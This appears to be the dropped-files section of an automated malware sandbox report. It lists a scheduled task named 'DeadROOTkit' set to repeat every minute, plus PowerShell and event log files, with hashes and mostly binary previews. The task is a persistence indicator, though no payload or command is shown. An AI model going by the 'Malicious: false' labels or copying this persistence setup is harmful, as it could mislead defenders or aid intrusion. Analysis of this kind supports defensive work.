.V.T..b...,..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?.............

C:\Windows\System32\Tasks\DeadROOTkit

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3550
Entropy (8bit):	3.5749688822545456
Encrypted:	false
SSDEEP:	96:tXv9BdRi/enBnknNGki3igVA9ll7dhFFG+:/BdRtyNw3UrhG+
MD5:	A7AD8290A05E8C5BAB44070E8C49A928
SHA1:	2A841FA3D47E34CA42B095BE64C157C675F04BC4
SHA-256:	D5A29ED08532604047CD965D09723224CCFE573D5F7B6720C23901077C2D411D
SHA-512:	3C328EF9FFC52370AB605B4045802AC4343E5DEA222C2ECFE4D6C8F5BFD191C17F0A3189646D32D6E970DAB5DAC5435AEFF8818B11E8AFE727BF9C0A0E9441AE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...2.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.D.a.t.e.>.2.0.2.4.-.1.0.-.1.3.T.1.3.:.1.5.:.4.4.<./.D.a.t.e.>..... . . . .<.A.u.t.h.o.r.>.J.O.N.E.S.-.P.C.\.j.o.n.e.s.<./.A.u.t.h.o.r.>..... . . . .<.U.R.I.>.\.D.e.a.d.R.O.O.T.k.i.t.<./.U.R.I.>..... . .<./.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . .<.T.r.i.g.g.e.r.s.>..... . . . .<.T.i.m.e.T.r.i.g.g.e.r.>..... . . . . . .<.R.e.p.e.t.i.t.i.o.n.>..... . . . . . . . .<.I.n.t.e.r.v.a.l.>.P.T.1.M.<./.I.n.t.e.r.v.a.l.>..... . . . . . . . .<.S.t.o.p.A.t.D.u.r.a.t.i.o.n.E.n.d.>.f.a.l.s.e.<./.S.t.o.p.A.t.D.u.r.a.t.i.o.n.E.n.d.>..... . . . . . .<./.R.e.p.e.t.i.t.i.o.n.>..... . . . . . .<.S.t.a.r.t.B.o.u.n.d.a.r.y.>.2.0.2.4.-.1.0.-.1.3.T.1.3.:.1.5.:.0.0.<./.S.t.a.r.t.B.o.u.n.d.a.r.y.>..... . . . .

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulLlXz:NllULl
MD5:	F1DA3E61F1111440976EF4E0EF5A21E8
SHA1:	AF82A4E680D288104C62434B40CDCA694AED53C5
SHA-256:	359E0FDD777C8B0197303900DC7BC59C771D54A05D2092B85FFCC18BD2D328F1
SHA-512:	A9A79A49BEC4E704BB6D712FB623BB9887996BBA057B8845EA6B86D9C76B8AEF37C07A63093ECB04B9E92E0DAF5C0DEE4D6766B8B81F0BFF7B2E6728647394A3
Malicious:	false
Preview:	@...e................................................@..........

C:\Windows\System32\winevt\Logs\Application.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	3376
Entropy (8bit):	3.9245987954757338
Encrypted:	false
SSDEEP:	48:M+MLrP+sXCrPwfFRVEfWb3/OoNMOyTL3W75HSqdrSDFDSLHg:cpCrup/vOo+9LGxjoFeA
MD5:	5D7BECAD418E6B30CEFE4E79522E6E62
SHA1:	97657FCF3ED326587D1E37C236B20B293D116860
SHA-256:	CE6DC11D93200FA5B70484C4C3C5E187869DEFBFD2CB8726D9F80EA4735BADEA
SHA-512:	334FA1DA3D5051C1106E4C5F03E31944907F40C6A2A8C19CFD1F4C6E3893C4DB0A703F45FFB6D5A47811F497943F3FA5997737FDB5FD4DC5008370D933B752C4
Malicious:	false
Preview:	ElfChnk.................r.......s...........X...0.....`.....................................................................d..............................................=...........................................................................................................................g...............@...........................n...................M...]...........................h...................................................................&...............................................~...**..X...r........+v............D.&.........D..T.Xb.L............A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Z............{..P.r.o.v.i.d.e.r...7...F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.e.c.u.r.i.t.y.-.S.P.P.F........)...G.u.i.d.....&.{.E.2.3.B.3.3.B.0.-.C.8.C.9.-.4.7.2.C.-.A.5.F.9.-.F.2.B.D.F.E.

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 3 chunks (no. 2 in use), next record no. 304, DIRTY
Category:	dropped
Size (bytes):	109960
Entropy (8bit):	3.644728544853286
Encrypted:	false
SSDEEP:	768:3VUHiapX7xadptrDT9W849YVUHiapX7xadptrDT9W849:WHi6xadptrX9WPxHi6xadptrX9WP
MD5:	B489AAB6E2037C1AB4DD93EC672AE3C8
SHA1:	09AE46126646B0A589DF7210E3B297E6AFBE0B3B
SHA-256:	92FEB01281F5A9465BA81892BA5E390E1B3DBECC8A7CD92A3103D848CFBD3C93
SHA-512:	4046C77F12F2A32F9DDAD9715E491CFCF269F2D1633721291439F807197A5B5423D17629F9B47FC565BFDDB58E68F818BC6AB0DAE1AAD1934E4A942AEE9CC47E
Malicious:	false
Preview:	ElfFile.................0...................................................................................................Fo.xElfChnk.........1...............1...........p.......oc.&.......................................................................E................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........r...................m..............qo...................>...;..................**..............4.9...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.010692427789071
Encrypted:	false
SSDEEP:	384:GhLNzhNCjN0QNGNgN7NxEN5N0RN0zN0mN0RN00N0oN0xN0qNeN0NN0UN0lN09N0Q:GnqqIJMa/Mh9sUwBYAJGUarGlEwxV
MD5:	26C4C5213F3C6B727417EF07207AC1E0
SHA1:	1815CC405C8B70939C252390E2A1AEC87EFF45F2
SHA-256:	767656ADC7440970A3117E0DA8E066D9A3E1DA88CBC82ACABCFA37A3985D5608
SHA-512:	0355BBF16EB471698F47189031E8E18306D8F748E6CC5328C33301BEAAE435647532B24F5EC42A94B92390C19E60D11846B412C6747DC82DC98999E649607B65
Malicious:	false
Preview:	ElfChnk.%.......J.......%.......J............b..Pe.....:....................................................................&...................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........].......M...............................VY..................................**......%........0................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	120752
Entropy (8bit):	4.1819485767921085
Encrypted:	false
SSDEEP:	384:5VHVBhfVaVtVbVHVyV5V+VSVBVNVEVrVBVeVPVpVCVigVgVpVeVNVkVUVAVJVgV8:zhfE3tXhfEh
MD5:	F73371EB2FBEF228B1B9E939260B3EB4
SHA1:	49D18096D0AB09E1DC94B3BB574627516785FA25
SHA-256:	96C90F1FBE40E13D559F5AF476D1816981E0181E04AC9C7497C520C6DC1B9E82
SHA-512:	20BB12181B6F6EE5E768E9DEEC8128DE3775B63A7E0113D7FF82085EA8E6D571F3DF2690E133D584E2D332F30B1599973CE31E44B6320D1A866B090F3B8E0E5E
Malicious:	false
Preview:	ElfChnk..............................................i.A....................................................................i...................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&..................................................9.t..............&...............................................................@.......X...a.!.....E..........@.9.t......&O......'O........P........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t...'..Y.J.R>:..=_M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t./.O.p.e.r.a.t.i.o.n.a.l...f.d.........N...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s...S.e.a.r.c.h._.c.w.5.n.1.h.2.t.x.y.e.w.y.....O.p.....................t............

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.428184470415061
Encrypted:	false
SSDEEP:	384:shTm5mcAmNQbmomTDDr0moOm3OPlfmMsgJm5mnmYmcmum/mqmlmtmumbsmbmvMmk:sQlD6CL49mVpgwQFQ
MD5:	00E99687608BAFDD7004EC003DF19DFF
SHA1:	4451F8FE517A8F67C283B53B19561758F113BA0C
SHA-256:	A4F4A270B1805AC3B0BA32BD71495D287514104DD7484C07A5F11F8E3CD97115
SHA-512:	0298E0F0ED2CC65DD59E630D441A96B6944A48D212439415DBC9FF775FBA8ED785D8DD6ABF2F88B3965B846C7C056BE67F621C479BB08CDD5A7BF83D582EEF86
Malicious:	false
Preview:	ElfChnk..!.......!.......!.......!..........................................................................................~f..................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................#...............&...................................**.......!......o.T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 2, DIRTY
Category:	dropped
Size (bytes):	69448
Entropy (8bit):	0.6208303949498422
Encrypted:	false
SSDEEP:	96:54NVaO8sMa3Z85ZML6rjjl3Z85ZuNNVaO8sMa3Z85ZML6rjjl3Z85Zu:5WV7pp8nMLivlp8nuV7pp8nMLivlp8n
MD5:	03EACAFC39C0DC11A6E1446C8C652BF1
SHA1:	2E0C673256693DF0E55D665972DDC63367EF9A32
SHA-256:	D2008CBE7F2CABE702C1CE68A88A0A7D7479433EA7E5614BFA7349D259C0EE68
SHA-512:	4919CC37C2BBE3CC015AC076BA428B2D50CA87934937922C274008F7A9593F92D98D4F5B2F725CD4A1780B48C1256C7B69F0F6008F192A80595ED6A2289589E9
Malicious:	false
Preview:	ElfFile.....................................................................................................................A..>ElfChnk.....................................p.......:.9....................................................................................................................=...........................................................................................................................f...............?...................................p...........M...F...................................................................................................................................&...............**..p...........n.d.............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.014860518194814
Encrypted:	false
SSDEEP:	1536:xbBN2A4VD7VAx8whAGU2woJQghcI5oIRA4Hw:
MD5:	4FB8E2CF8B3F20534836684947962DC2
SHA1:	B263607E627C81DA77DB65DF5AED2F3FD84B83E2
SHA-256:	DEAB680C467984C31D118AC595F0F57E573CEEC460CC4B43FCEB0BD66F731294
SHA-512:	D982DB741A044E222D567712FB4799FF6524A1D451C3D2EE3DF7EB17031AD20EF4EC7098BCFB3E2B00C929EB6569C858EFCF275B28240425E4BF8D994AED9053
Malicious:	false
Preview:	ElfChnk.........V...............V...................0q....................................................................... I............................................=...................................................................................%.......................................X...............?...............................................M...F...................................................................................................................................z...............**..............................g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.15655690871689
Encrypted:	false
SSDEEP:	768:SPB9TXYa1RFxRaayVadMRFyfqd9xZRta7Ea+5BVZUeaBhN1dJhlBlBJ9tFk6dd3s:eXY5nVYIyyqED5BVZUeouPZ
MD5:	2DE60575CB719BF51FAB8A63F696B052
SHA1:	BD44E6B92412898F185D5565865FEA3778573578
SHA-256:	7C14D6D72CD2DE834A0C4D17A68B2584B83B81C647D2C439E1071600E29A803D
SHA-512:	0471E7824795996992E736F33FEA7AF70EA909804DE3AC59EE76B5D0403901A5147558256C3AAE87BA8F1747D151DE63134661BEB9F6E0FF25AB0E3E89BC6B4A
Malicious:	false
Preview:	ElfChnk.........o...............o..........................................................................................._..................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................y.......................**................9..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	101120
Entropy (8bit):	2.677115835550678
Encrypted:	false
SSDEEP:	384:qosKxoJkoaAXHoj+yHoe6oaywoBoayiozoayPoGoay9hdo69CcoTorNorWorbvov:810qDCYy10bDCYy10l
MD5:	D66CB039C050ED066E47AB1771F661EF
SHA1:	4C3898F46A5E0686C4575B20CD4AC6E50ED8561B
SHA-256:	F879FDF384530F3B2549A0291CD5EDBC9C8D0A493A0E3B4BFAF6516E46781765
SHA-512:	AD5FA223180C5BA5BC21F1515F3DDD186D53A8BD817F5672CCB1D1E1BFF32C6846705DFA3E74BEAA22B8C84660D5F7E4BDD4DF32368D28FEAC43CA762D11B53A
Malicious:	false
Preview:	ElfChnk.....................................8J..pL....S....................................................................R..@................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................3..................................=/...........$..U)..............................**................f...............$..............................................................>.......V...X.!..e................f......&O......'O.................................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y..k.N.<.D..97d>7.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y./.O.p.e.r.a.t.i.o.n.a.l...!>.U)......!>....[.U.....i...........\|...:....A..3...b...%....=.......F.i.l.e.N.a.m.e.L.e.n.g.t.h.......A..3...b...%....=.......F.i.l.e.N

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8524226245257144
Encrypted:	false
SSDEEP:	384:JhAiPA5PNPxPEPHPhPEPmPSPRP3PoPpPTP8PXPr5P:J2Nr
MD5:	B8E105CC52B7107E2757421373CBA144
SHA1:	39B61BEA2065C4FBEC143881220B37F3BA50A372
SHA-256:	B7EE076088005866A01738ECD3421A4DA3A389FFB9EEB663687823E6647F7B4B
SHA-512:	7670455904F14DA7A9EEFBAD5616D6D00EA262C979EDABB433182500B6EF918C6E534C94DF30D829016C8539DF12CAD5F53EC884C45AA71ACA35CF9B797361BC
Malicious:	false
Preview:	ElfChnk......................................#...&...l2.......................................................................................N...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................#..........'.......................**..x.............\|..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8432997252442703
Encrypted:	false
SSDEEP:	384:4hZ21JJgL4JJFiJJ+aeJJ+WBJJ+5vJJ+/UJJ+4fJJ+CwJJ+D2JJ+a2JJ+JtJJ+l9:4WXSYieD+tvgzmMvRpBWfb
MD5:	39EE3557626C7F112A88A4DE12E904C1
SHA1:	C307FECC944D746A49EEA6451B7DA7301F03504C
SHA-256:	2B47146267E6F31192C54D3EDA77EC9ABE6A88B1C72BA9FE789C8073FD632A5A
SHA-512:	304C866E246B3F63BF126B33AED784913A078D44913FD987D896D2D960578B61BA7E24BA3CB8FC76608AB1E5702D0FE587A5FB8C38CDF8913D60F88B1435A2D9
Malicious:	false
Preview:	ElfChnk......................................"...&.....k.....................................................................n..................F...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................."..................................**..p............zu..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.9223892466691472
Encrypted:	false
SSDEEP:	384:whqhSx4h/y4Rhph5h6hNh5hah/hrhbhmhjh/h7hkh8hbhMh9hYwhChwh8hRqh28t:wbCyhLfIXBS5
MD5:	93BC7C28E3A7B0EC7634432FFB5F26AE
SHA1:	388548D6291DA80F672153D1C18E32BDA335AA90
SHA-256:	D354F4EA745283540D197B6D4C57EFC4F539F7566CFB3A06AEBD1243CD222EE1
SHA-512:	3235FEA5A58C72DCD680D436AA2652F5221C6AC6F5A53882C7817A8A65E63C13087CD5660839FC7CFA0F62C666014608B91ABB4235EF5F79F68EF5806252F84A
Malicious:	false
Preview:	ElfChnk.........F...............F...............P............................................................................................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................n...................................................6...................................*..`............0H..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.838106263184782
Encrypted:	false
SSDEEP:	768:ccMhFBuyKskZljdoKXjtT/r18rQXn8r3e5POH:JMhFBuVge
MD5:	A2D41740C1BAF781019F282E37288DDF
SHA1:	A6FE635B3EC8A6923EDE10C23FC79DD32EF4F621
SHA-256:	7008D3010B17C0B09643D10D26B19FB971BB1963C414C1466BEAD617CF9F15E7
SHA-512:	E33A0A2F9473D2D05E9704FE16E6EE34FB51FD8E25A3D60E1F7A67665CA14421B6511D896526AFC7CAE1BF629BB7013FA10663620C5450F1BB51A465EF5A51CB
Malicious:	false
Preview:	ElfChnk.........?...............?...................<.md.....................................................................?.Q................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............m...........................5A......&...................................**..x...........,.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.634418630947688
Encrypted:	false
SSDEEP:	768:/VQ+uYvAzBCBao/F6Cf2SEqEhwaK41HZaUeI36ISKEeKRe:cH
MD5:	A00BAFFCABB00428EA0512FCECCC55E5
SHA1:	19F7C942DC26C3FF56D6240158734AFF67D6B93E
SHA-256:	92264C9E28AB541669DED47CFAF1E818EBD863FA9E8FC6B0F52175D694A9E0D9
SHA-512:	DF94AA8FA0610A0EFE7BAC0DB2A01645A4CD1C7FAD62E914EF914B526B651ED62600F63909D26149FD17C259348DADE05F48759B1DF092970251DB86690CC2B6
Malicious:	false
Preview:	ElfChnk.........m...............m.....................]......................................................................p.................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................................%0......**..@...........WW. ..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.0646587531847893
Encrypted:	false
SSDEEP:	384:eh1kbAP1gzkw3kN5Ayqk+HkzGk+hkV3SuckzlckA66k+4DkzRxk+dkzwUk+rkzDK:eMAP1Qa5AgfQQgniwS
MD5:	399CAF70AC6E1E0C918905B719A0B3DD
SHA1:	62360CD0CA66E23C70E6DE3340698E7C0D789972
SHA-256:	FD081487CCB0ACEAD6F633AADBA4B977D2C9360CE8EAC36EAB4E3C84A701D849
SHA-512:	A3E17DA61D4F7C0C94FD0B67707AE35250656842D602906DE515B5E46ECD5078AC68AE607B99DC1A6061B0F896759FE46FF8EE350774205635D30363D46939EA
Malicious:	false
Preview:	ElfChnk......................................g...j..%s.g........................................................................................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........................................&...........c..;...............................**..x...........HD................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4364303862010575
Encrypted:	false
SSDEEP:	384:PhrE2E+EAsbE3VgEWsUiEcEf4eEOhEmELVFEEE5ejElEreEFEzEAEWE+EWEeEKEy:P3sleByhfIwPGa1SEzy
MD5:	2BB73ACC8F7419459C4BF931AB85352C
SHA1:	F1CE2EB960D3886F76094E2327DD092FC1208C7E
SHA-256:	1969400F6FC72AD4A41092FEC53A19078C98DE9FCB2507A3BD8E1930B2447B62
SHA-512:	7D882184DA11B490E111502C8193B73248259D43CC5DCE021CD7264212F1BCD3D62F2A3A2F86929663E2E904961D4F1E406E314020FE904D41694A09C1EB0457
Malicious:	false
Preview:	ElfChnk.p...............p..................../...1..V......................................................................H...................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................m..............................%................ ..................&............0......................*......p..........T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.0631557320109892
Encrypted:	false
SSDEEP:	384:xhYCAKRuKIYKxkKiCKVIAK8sL4K5VKjPKwnKZ/K50K8/0KXAKuWKSlK+NK8t3KlZ:x1T4hGvj
MD5:	86AEA3A9CA3E5909FD44812754E52BD6
SHA1:	F79B583F83F118AC724A5A4206FC439B88BB8C65
SHA-256:	2AB21F158F9FFA0A375B2ABBD58880A732FABBC436246D40A68DD88D324428C9
SHA-512:	17796DAA6BCE3C6B7EBACD2A683D085AB08C7701DB5FF91DC2D6531E9CC23FCFC52650A6CD02D8B54D4E8C8D5B59DB1688E18571587E0431E4AA914086BE26F5
Malicious:	false
